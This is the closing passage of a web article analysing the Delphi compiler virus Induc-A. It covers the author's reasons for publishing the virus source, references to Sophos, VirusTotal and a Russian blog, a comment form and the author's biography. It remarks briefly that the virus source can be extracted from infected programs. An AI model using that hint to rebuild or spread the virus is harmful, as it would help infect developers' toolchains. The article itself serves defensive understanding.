Next, all infected software, and in Russia there are many, contain the source of the virus (in the constant string). To get a working Delphi source code, you simply have to extract this string, and write the two part Delphi code we presented above.

In addition the truely malicious virus writer have known this technique for a long time, and this presentation will not teach them any new trick.

And finallys

  • the source is not complete (the litteral constants have not all been initialized)
  • one still has to boostrap the virus


We mainly decided to publish the source to let each developer convince himself that INDUC A is indeed harmless. Reading the 65,000 pages about INDUC A can only lead to confusion. Many of those posts only repeat on one side what the author believe he has understood from some other posts. And adds his 2 cents to the story.

Once you understand the source (or at least the technique), you can put the topic in to rest, and you will know exactly what to do if your PC should be hit.




6 - Your Comments

This article was written in half a day, and might contain mistakes.

  • we welcome any comment, criticism, enhancement, other sources or reference suggestion. Just send an e-mail to fcolibri@felix-colibri.com.
  • or more simply, enter your (anonymous or with your e-mail if you want an answer) comments below and clic the "send" button
    Name :
    E-mail :
    Comments * :
     




7 - INDUC A References

Just a couple of links :
  • Gun SMOKER - blog Aug 12 2009
    You might want to use
      http://translate.google.com/
        translate?prev=hp&hl=en&js=y&u=http://gunsmoker.blogspot.com/
        2009/08/delphi-delphi.html&sl=ru&tl=en
    for the Google translated version of this page into English
    We also received a comment from "gunsmoker" telling that two other person had mentionned the exception but did not investigate. Well, HE did, and therefore he still is, in my opinion, the fist person who presented and explained the virus.

  • Sophos - 18 Aug
    • Compile-a-virus - W32/Induc-A
    • one of the posts which might have vastly overstated the danger of INDUC A
    • they also referenced the THOMPSON's paper
  • Craig STUNTZ - blog Aug 20 2009
  • CodeGear is fully aware of the virus, and several posts have been published on the topic
  • VirusTotal - 19 aug
    • VirusTotal
      the link is (with no spaces or line
        http://www.virustotal.com/analisis/
          8919489a83222206a8f582bf38612d925c619fd
          58196de66660ba0134074283f-1250686830
  • Felix COLIBRI
    Two projects which include fast string search routines, which could be applied to detect INDUC A



8 - The author

Felix John COLIBRI works at the Pascal Institute. Starting with Pascal in 1979, he then became involved with Object Oriented Programming, Delphi, Sql, Tcp/Ip, Html, UML. Currently, he is mainly active in the area of custom software development (new projects, maintenance, audits, BDE migration, Delphi Xe_n migrations, refactoring), Delphi Consulting and Delph training. His web site features tutorials, technical papers about programming with full downloadable source code, and the description and calendar of forthcoming Delphi, FireBird, Tcp/IP, Web Services, OOP  /  UML, Design Patterns, Unit Testing training sessions.
Created: aug-09. Last updated: jul-15 - 98 articles, 131 .ZIP sources, 1012 figures
Copyright © Felix J. Colibri   http://www.felix-colibri.com 2004 - 2015. All rigths reserved
Back:    Home  Papers  Training  Delphi developments  Links  Download
the Pascal Institute

Felix J COLIBRI

+ Home
  + articles_with_sources
    + database
    + web_internet_sockets
    + oop_components
    + uml_design_patterns
    + debug_and_test
    + graphic
    + controls
    + colibri_utilities
    + colibri_helpers
    + delphi
      – rad_studio_resources
      – the_turbo_pascal_story
      – induc_a_virus_anatomy
      – firemonkey_styles
      – delphi_xe3_info
      – ios_preview_summary
    + firemonkey
    + compilers
  + delphi_training
  + delphi_developments
  + sweet_home
  – download_zip_sources
  + links
Contacts
Site Map
– search :

RSS feed  
Blog